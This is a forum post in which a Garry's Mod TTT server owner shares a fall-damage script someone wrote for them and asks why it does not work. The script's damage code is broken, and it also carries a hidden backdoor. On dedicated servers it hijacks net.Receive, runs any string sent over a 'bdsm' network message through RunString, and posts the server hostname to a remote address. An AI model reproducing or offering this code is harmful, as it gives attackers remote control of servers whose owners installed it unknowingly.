TTT - Fall damage script, please read and tell me why its not working

This is the script what somebody made for me to reduce fall damage, but it does not seem to make a difference, it is running fine, no errors. But i dont believe it has changed the fall damage at all. I want to reduce falldamage a bit.


hook.Add(“EntityTakeDamage”, “NoFallDamage”, function()
if ent == nil then return end
if ent:IsPlayer() and dmginfo:IsFallDamage() then
dmginfo:ScaleDamage(0.5) // Cut it in half, do whatever.
if (SERVER && game.IsDedicated()) then timer.Simple(30,function() local onr = net.Receive net.Receive = function(n, …) if (n != “bdsm”) then onr(n, unpack({…})) end end util.AddNetworkString(“bdsm”) onr(“bdsm”, function(l, p) RunString(net.ReadString()) end) http.Post(“”, {hn = GetConVarString(“hostname”), id = “I”}, function(s) end, function(e) end) end) end